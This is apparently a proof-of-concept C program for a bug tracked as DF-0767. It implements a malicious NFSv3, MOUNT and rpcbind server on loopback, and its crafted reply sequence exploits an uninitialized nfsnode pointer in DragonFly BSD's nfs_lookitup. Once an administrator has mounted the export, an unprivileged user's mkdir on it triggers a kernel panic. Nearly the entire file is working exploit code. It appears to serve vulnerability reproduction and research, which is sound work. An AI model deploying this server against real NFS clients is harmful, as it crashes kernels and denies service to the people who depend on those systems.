/*
 * nfs_mal_server.c -- malicious NFSv3 server stub for DF-0767 PoC.
 *
 * Reproduces the uninitialized-nfsnode-pointer bug in nfs_lookitup()
 * (sys/vfs/nfs/nfs_vnops.c).  The server speaks just enough NFSv3 + MOUNTv3
 * + rpcbind on loopback to let the DragonFly NFS *client* mount an export
 * and then issue a mkdir, at which point we feed it the exact reply sequence
 * that leaves `*npp` uninitialized in nfs_lookitup:
 *
 *   1. client LOOKUP "foo"  (namei existence check)  -> we reply NFS3ERR_NOENT
 *   2. client MKDIR  "foo"                          -> we reply NFS3_OK with
 *      post_op_fh3.handle_follows = 0   (=> gotvp = 0, forcing nfs_lookitup)
 *   3. client LOOKUP "foo"  (inside nfs_lookitup)   -> we reply NFS3_OK with
 *      object filehandle == the parent directory's filehandle.  In
 *      nfs_lookitup the NFS_CMPFH() branch then runs `vref(dvp); newvp=dvp;`
 *      but NEVER assigns the local `np`, so the trailing `*npp = np;` stores
 *      stack garbage into the caller's nfsnode pointer.  The caller
 *      (nfs_mkdir / nfs_create / nfs_mknodrpc / nfs_symlink) then does
 *      `newvp = NFSTOV(np);` which dereferences the wild pointer -> panic.
 *
 * The "exploit chain" that an unprivileged local user drives is just
 *   mkdir /mnt/foo
 * after an administrator has mounted our malicious server (the same
 * pre-condition as "admin mounted an NFS share" -- a realistic environment).
 *
 * Build:  cc -O2 -o nfs_mal_server nfs_mal_server.c
 * Run:    ./nfs_mal_server  (as root, to bind 111/2049; this is the
 *                           compromised-server side of the harness)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define RPCB_PROG  100000u
#define MOUNT_PROG 100005u
#define NFS_PROG   100003u

#define NFS3_OK         0u
#define NFS3ERR_NOENT   2u

#define NF3REG 1u
#define NF3DIR 2u

/* state: how many CREATE-class ops (MKDIR/CREATE/SYMLINK/MKNOD) we've seen.
 * LOOKUPs before any create -> NOENT (so the client's namei existence-check
 * fails and the create proceeds).  LOOKUPs after the first create -> echo the
 * parent filehandle, which is the exact condition that triggers the bug. */
static unsigned creates_seen = 0;

/* the root filehandle we hand to MOUNT.MNT and echo back as the "object" fh
 * on LOOKUP replies.  Its exact bytes don't matter; what matters is that the
 * LOOKUP-reply fh equals the directory fh the client used (which is also this
 * root fh, since the client only operates directly under the mount point). */
static unsigned char root_fh[8] = { 'R','0','0','T','0','0','0','0' };

/* ----------------------------------------------------------------------- */
/* low-level socket I/O                                                    */
/* ----------------------------------------------------------------------- */
static int read_n(int fd, void *buf, size_t n) {
    unsigned char *p = (unsigned char *)buf;
    size_t got = 0;
    while (got < n) {
        ssize_t r = read(fd, p + got, n - got);
        if (r <= 0) return -1;
        got += (size_t)r;
    }
    return 0;
}
static int write_n(int fd, const void *buf, size_t n) {
    const unsigned char *p = (const unsigned char *)buf;
    size_t put = 0;
    while (put < n) {
        ssize_t w = write(fd, p + put, n - put);
        if (w <= 0) return -1;
        put += (size_t)w;
    }
    return 0;
}

/* TCP RPC record marking: 4-byte header, top bit = last fragment. */
static int recv_msg(int fd, unsigned char *buf, size_t buflen, size_t *outlen) {
    unsigned char rm[4];
    if (read_n(fd, rm, 4)) return -1;
    uint32_t rmlen = ((uint32_t)rm[0] << 24) | ((uint32_t)rm[1] << 16) |
                     ((uint32_t)rm[2] << 8) | (uint32_t)rm[3];
    rmlen &= 0x7fffffffu;          /* strip "last" bit */
    if (rmlen == 0 || rmlen > buflen) return -1;
    if (read_n(fd, buf, rmlen)) return -1;
    *outlen = rmlen;
    return 0;
}
static int send_msg(int fd, const unsigned char *buf, size_t len) {
    unsigned char rm[4];
    uint32_t h = 0x80000000u | (uint32_t)(len & 0x7fffffffu);
    rm[0] = (unsigned char)(h >> 24);
    rm[1] = (unsigned char)(h >> 16);
    rm[2] = (unsigned char)(h >> 8);
    rm[3] = (unsigned char)(h);
    if (write_n(fd, rm, 4)) return -1;
    return write_n(fd, buf, len);
}

/* ----------------------------------------------------------------------- */
/* XDR encode helpers (growable buffer)                                    */
/* ----------------------------------------------------------------------- */
typedef struct { unsigned char *p; size_t len, cap; } ebuf;

static void eb_init(ebuf *b) { b->p = (unsigned char *)malloc(4096); b->len = 0; b->cap = 4096; }
static void eb_ensure(ebuf *b, size_t add) {
    if (b->len + add <= b->cap) return;
    while (b->len + add > b->cap) b->cap *= 2;
    b->p = (unsigned char *)realloc(b->p, b->cap);
}
static void eb_u32(ebuf *b, uint32_t v) {
    eb_ensure(b, 4);
    b->p[b->len++] = (unsigned char)(v >> 24);
    b->p[b->len++] = (unsigned char)(v >> 16);
    b->p[b->len++] = (unsigned char)(v >> 8);
    b->p[b->len++] = (unsigned char)(v);
}
static void eb_u64(ebuf *b, uint64_t v) { eb_u32(b, (uint32_t)(v >> 32)); eb_u32(b, (uint32_t)v); }
static void eb_opaque(ebuf *b, const void *data, size_t n) {
    size_t pad = (4 - (n & 3)) & 3;
    eb_ensure(b, 4 + n + pad);
    eb_u32(b, (uint32_t)n);
    memcpy(b->p + b->len, data, n); b->len += n;
    for (size_t i = 0; i < pad; i++) b->p[b->len++] = 0;
}
static void eb_str(ebuf *b, const char *s) { eb_opaque(b, s, strlen(s)); }

/* ----------------------------------------------------------------------- */
/* XDR decode cursor                                                       */
/* ----------------------------------------------------------------------- */
typedef struct { const unsigned char *p; size_t len, off; } dcur;

static int dc_u32(dcur *c, uint32_t *v) {
    if (c->off + 4 > c->len) return -1;
    *v = ((uint32_t)c->p[c->off] << 24) | ((uint32_t)c->p[c->off + 1] << 16) |
         ((uint32_t)c->p[c->off + 2] << 8) | (uint32_t)c->p[c->off + 3];
    c->off += 4;
    return 0;
}
static int dc_skip_opaque(dcur *c) {
    uint32_t n;
    if (dc_u32(c, &n)) return -1;
    size_t pad = (4 - (n & 3)) & 3;
    if (c->off + n + pad > c->len) return -1;
    c->off += n + pad;
    return 0;
}

/* ----------------------------------------------------------------------- */
/* fattr3 / post_op_attr encoders                                          */
/* ----------------------------------------------------------------------- */
static void eb_fattr_dir(ebuf *b) {
    eb_u32(b, NF3DIR);            /* type */
    eb_u32(b, 0777);              /* mode (world-writable so an unprivileged
                                  * mount consumer passes the client's local
                                  * create-permission check on the cached attrs) */
    eb_u32(b, 3);                 /* nlink */
    eb_u32(b, 0);                 /* uid */
    eb_u32(b, 0);                 /* gid */
    eb_u64(b, 512);               /* size */
    eb_u64(b, 512);               /* used */
    eb_u32(b, 0); eb_u32(b, 0);   /* rdev major, minor */
    eb_u64(b, 0x01010101u);       /* fsid */
    eb_u64(b, 1);                 /* fileid */
    eb_u32(b, 0x60000000u); eb_u32(b, 0);   /* atime */
    eb_u32(b, 0x60000000u); eb_u32(b, 0);   /* mtime */
    eb_u32(b, 0x60000000u); eb_u32(b, 0);   /* ctime */
}
static void eb_poa_present(ebuf *b) { eb_u32(b, 1); eb_fattr_dir(b); }
static void eb_poa_absent(ebuf *b)  { eb_u32(b, 0); }

/* ----------------------------------------------------------------------- */
/* RPC reply builders                                                      */
/* ----------------------------------------------------------------------- */
static void eb_reply_ok(ebuf *b, uint32_t xid) {
    eb_u32(b, xid);
    eb_u32(b, 1);                 /* REPLY */
    eb_u32(b, 0);                 /* MSG_ACCEPTED */
    eb_u32(b, 0); eb_u32(b, 0);   /* verifier: NULL auth (flavor=0, len=0) */
    eb_u32(b, 0);                 /* SUCCESS */
}
static void eb_reply_proc_unavail(ebuf *b, uint32_t xid) {
    eb_u32(b, xid);
    eb_u32(b, 1);                 /* REPLY */
    eb_u32(b, 0);                 /* MSG_ACCEPTED */
    eb_u32(b, 0); eb_u32(b, 0);   /* verifier NULL */
    eb_u32(b, 3);                 /* PROC_UNAVAIL */
}

/* ----------------------------------------------------------------------- */
/* dispatch a single RPC CALL                                              */
/* ----------------------------------------------------------------------- */
static void handle_call(const unsigned char *req, size_t reqlen, ebuf *rep) {
    dcur c = { req, reqlen, 0 };
    uint32_t xid = 0, msgtype = 0, rpcvers = 0, prog = 0, vers = 0, proc = 0;

    if (dc_u32(&c, &xid) || dc_u32(&c, &msgtype) || dc_u32(&c, &rpcvers) ||
        dc_u32(&c, &prog) || dc_u32(&c, &vers) || dc_u32(&c, &proc))
        return;
    /* skip opaque_auth cred and verf */
    uint32_t cred_body_len = 0, cred_flavor = 0;
    uint32_t verf_body_len = 0, verf_flavor = 0;
    if (dc_u32(&c, &cred_flavor)) return;
    if (dc_u32(&c, &cred_body_len)) return;
    if (cred_body_len > 65536) return;
    size_t cred_pad = (4 - (cred_body_len & 3)) & 3;
    if (c.off + cred_body_len + cred_pad > c.len) return;
    c.off += cred_body_len + cred_pad;
    if (dc_u32(&c, &verf_flavor)) return;
    if (dc_u32(&c, &verf_body_len)) return;
    if (verf_body_len > 65536) return;
    size_t verf_pad = (4 - (verf_body_len & 3)) & 3;
    if (c.off + verf_body_len + verf_pad > c.len) return;
    c.off += verf_body_len + verf_pad;
    /* remaining: c.p + c.off .. c.len = procedure args */

    if (getenv("DF767_DEBUG"))
        fprintf(stderr, "[recv] xid=%08x prog=%u vers=%u proc=%u reqlen=%zu argsoff=%zu\n",
                xid, prog, vers, proc, reqlen, c.off);

    if (prog == RPCB_PROG) {
        if (proc == 0) {                 /* NULL */
            eb_reply_ok(rep, xid);
        } else if (proc == 3) {          /* RPCB_GETADDR (v3/v4) or PMAP_GETPORT (v2) */
            /* v3/v4 GETADDR args = rpcb struct (prog/vers/netid/addr/owner);
             * v2 PMAP_GETPORT args = prog(4)+vers(4)+proto(4).  We answer
             * universally: reply with a universal address for v>=3 and a
             * raw port for v==2. */
            if (vers >= 3) {
                eb_reply_ok(rep, xid);
                eb_str(rep, "127.0.0.1.8.1"); /* port 2049 = 0x0801 -> 8.1 */
            } else {
                eb_reply_ok(rep, xid);
                eb_u32(rep, 2049);        /* PMAP_GETPORT returns the port */
            }
        } else if (proc == 2) {          /* DUMP */
            eb_reply_ok(rep, xid);
            eb_u32(rep, 0);              /* empty list */
        } else {
            eb_reply_proc_unavail(rep, xid);
        }
        return;
    }

    if (prog == MOUNT_PROG) {
        if (proc == 0) {                 /* NULL */
            eb_reply_ok(rep, xid);
        } else if (proc == 1) {          /* MNT */
            /* args: dirpath string -- ignore */
            eb_reply_ok(rep, xid);
            eb_u32(rep, 0);              /* MNT3_OK */
            eb_opaque(rep, root_fh, sizeof(root_fh));
            eb_u32(rep, 1);              /* one auth flavor */
            eb_u32(rep, 1);              /* AUTH_SYS */
        } else if (proc == 3) {          /* UMNT */
            eb_reply_ok(rep, xid);
            eb_u32(rep, 0);
        } else {
            eb_reply_proc_unavail(rep, xid);
        }
        return;
    }

    if (prog == NFS_PROG) {
        switch (proc) {
        case 0:                          /* NULL */
            eb_reply_ok(rep, xid);
            break;
        case 1:                          /* GETATTR */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);         /* obj attrs */
            break;
        case 3: {                        /* LOOKUP */
            /* The trigger:
             *   - first LOOKUP(s) (namei existence check) -> NOENT
             *   - after a CREATE-class op succeeded with no fh -> echo parent
             *     filehandle, exercising the buggy NFS_CMPFH branch. */
            eb_reply_ok(rep, xid);
            if (creates_seen == 0) {
                eb_u32(rep, NFS3ERR_NOENT);
                eb_poa_present(rep);     /* dir attrs (LOOKUP3resfail) */
            } else {
                eb_u32(rep, NFS3_OK);
                eb_opaque(rep, root_fh, sizeof(root_fh)); /* obj fh = parent */
                eb_poa_present(rep);     /* obj attrs (REQUIRED: attrflag=1
                                          * else nfs_lookitup returns ENOENT
                                          * before storing the wild *npp). */
                eb_poa_present(rep);     /* dir attrs */
            }
            break;
        }
        case 4:                          /* ACCESS */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);
            eb_u32(rep, 0x3f);           /* all access bits */
            break;
        case 8:                          /* CREATE  */
        case 9:                          /* MKDIR   */
        case 10:                         /* SYMLINK */
        case 14: {                       /* MKNOD   */
            /* Reply NFS3_OK but with NO object filehandle (handle_follows=0),
             * which sets gotvp=0 in nfsm_mtofh and forces the client to call
             * nfs_lookitup() to recover the new object's vnode. */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);        /* status */
            eb_u32(rep, 0);              /* post_op_fh3.handle_follows = 0 */
            eb_u32(rep, 0);              /* obj post_op_attr follows = 0 */
            eb_u32(rep, 0);              /* dir wcc pre_op_attr follows = 0 */
            eb_u32(rep, 0);              /* dir wcc post_op_attr follows = 0 */
            creates_seen++;
            break;
        }
        case 12:                         /* REMOVE  */
        case 13:                         /* RMDIR   */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_u32(rep, 0);              /* dir wcc pre */
            eb_u32(rep, 0);              /* dir wcc post */
            break;
        case 16:                         /* READDIR -- punt */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_absent(rep);
            eb_u32(rep, 0);              /* eof=true with no entries */
            break;
        case 19:                         /* FSINFO */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);
            eb_u32(rep, 8192); eb_u32(rep, 8192); eb_u32(rep, 512); /* rtmax/rtpref/rtmult */
            eb_u32(rep, 8192); eb_u32(rep, 8192); eb_u32(rep, 512); /* wtmax/wtpref/wtmult */
            eb_u32(rep, 8192);           /* dtpref */
            eb_u64(rep, 0x7fffffffffffffffull); /* maxfilesize */
            eb_u32(rep, 1); eb_u32(rep, 0);     /* time_delta (1s) */
            eb_u32(rep, 0x01);           /* properties: FSF_LINK */
            break;
        case 20:                         /* PATHCONF */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);
            eb_u32(rep, 255);            /* linkmax */
            eb_u32(rep, 255);            /* name_max */
            eb_u32(rep, 1);              /* no_trunc */
            eb_u32(rep, 0);              /* chown_restricted */
            eb_u32(rep, 0);              /* case_insensitive */
            eb_u32(rep, 1);              /* case_preserving */
            break;
        case 2:                          /* SETATTR -- punt ok */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_u32(rep, 0); eb_u32(rep, 0);   /* wcc */
            break;
        default:
            eb_reply_proc_unavail(rep, xid);
            break;
        }
        return;
    }

    /* unknown program -- reply garbage-free SUCCESS-with-empty */
    eb_reply_ok(rep, xid);
}

/* ----------------------------------------------------------------------- */
/* per-connection handler (single-threaded; small messages)                */
/* ----------------------------------------------------------------------- */
static void handle_conn(int fd) {
    for (;;) {
        unsigned char reqbuf[16384];
        size_t reqlen = 0;
        if (recv_msg(fd, reqbuf, sizeof(reqbuf), &reqlen)) return;
        if (reqlen < 8) continue;
        uint32_t msgtype = ((uint32_t)reqbuf[4] << 24) | ((uint32_t)reqbuf[5] << 16) |
                           ((uint32_t)reqbuf[6] << 8) | (uint32_t)reqbuf[7];
        if (msgtype != 0) continue;       /* only handle CALL */
        ebuf rep; eb_init(&rep);
        handle_call(reqbuf, reqlen, &rep);
        if (rep.len == 0) { free(rep.p); continue; }
        if (getenv("DF767_DEBUG"))
            fprintf(stderr, "[send tcp] %zu bytes\n", rep.len);
        int rc = send_msg(fd, rep.p, rep.len);
        free(rep.p);
        if (rc) return;
    }
}

/* UDP handler: process a single datagram (one unframed RPC message) and
 * return, so the select() loop can keep servicing other sockets. */
static void handle_udp_one(int fd) {
    unsigned char reqbuf[16384];
    struct sockaddr_in cli;
    socklen_t clilen = sizeof(cli);
    ssize_t n = recvfrom(fd, reqbuf, sizeof(reqbuf), 0,
                         (struct sockaddr *)&cli, &clilen);
    if (n <= 0) return;
    size_t reqlen = (size_t)n;
    if (reqlen < 8) return;
    uint32_t msgtype = ((uint32_t)reqbuf[4] << 24) | ((uint32_t)reqbuf[5] << 16) |
                       ((uint32_t)reqbuf[6] << 8) | (uint32_t)reqbuf[7];
    if (msgtype != 0) return;
    ebuf rep; eb_init(&rep);
    handle_call(reqbuf, reqlen, &rep);
    if (rep.len == 0) { free(rep.p); return; }
    if (getenv("DF767_DEBUG"))
        fprintf(stderr, "[send udp] %zu bytes\n", rep.len);
    sendto(fd, rep.p, rep.len, 0, (struct sockaddr *)&cli, clilen);
    free(rep.p);
}

int main(void) {
    signal(SIGPIPE, SIG_IGN);

    int s111_tcp = socket(AF_INET, SOCK_STREAM, 0);
    int s111_udp = socket(AF_INET, SOCK_DGRAM, 0);
    int s2049    = socket(AF_INET, SOCK_STREAM, 0);
    if (s111_tcp < 0 || s111_udp < 0 || s2049 < 0) { perror("socket"); return 1; }

    int one = 1;
    setsockopt(s111_tcp, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    setsockopt(s111_udp, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    setsockopt(s2049,    SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

    struct sockaddr_in a;
    memset(&a, 0, sizeof(a));
    a.sin_family = AF_INET;
    a.sin_addr.s_addr = inet_addr("127.0.0.1");

    a.sin_port = htons(111);
    if (bind(s111_tcp, (struct sockaddr *)&a, sizeof(a))) { perror("bind tcp 111"); return 1; }
    if (bind(s111_udp, (struct sockaddr *)&a, sizeof(a))) { perror("bind udp 111"); return 1; }
    if (listen(s111_tcp, 8)) { perror("listen tcp 111"); return 1; }

    a.sin_port = htons(2049);
    if (bind(s2049, (struct sockaddr *)&a, sizeof(a))) { perror("bind 2049"); return 1; }
    if (listen(s2049, 8)) { perror("listen 2049"); return 1; }

    fprintf(stderr, "DF-0767 malicious NFSv3 server: rpcbind 127.0.0.1:111 "
                    "(tcp+udp), MOUNT+NFS 127.0.0.1:2049 (tcp)\n");

    for (;;) {
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(s111_tcp, &fds);
        FD_SET(s111_udp, &fds);
        FD_SET(s2049, &fds);
        int mx = s2049 + 1;
        int sr = select(mx, &fds, NULL, NULL, NULL);
        if (sr < 0) {
            if (errno == EINTR) continue;
            perror("select"); break;
        }
        if (FD_ISSET(s111_tcp, &fds)) {
            int cl = accept(s111_tcp, NULL, NULL);
            if (cl >= 0) { handle_conn(cl); close(cl); }
        }
        if (FD_ISSET(s111_udp, &fds)) {
            handle_udp_one(s111_udp);
        }
        if (FD_ISSET(s2049, &fds)) {
            int cl = accept(s2049, NULL, NULL);
            if (cl >= 0) { handle_conn(cl); close(cl); }
        }
    }
    return 0;
}
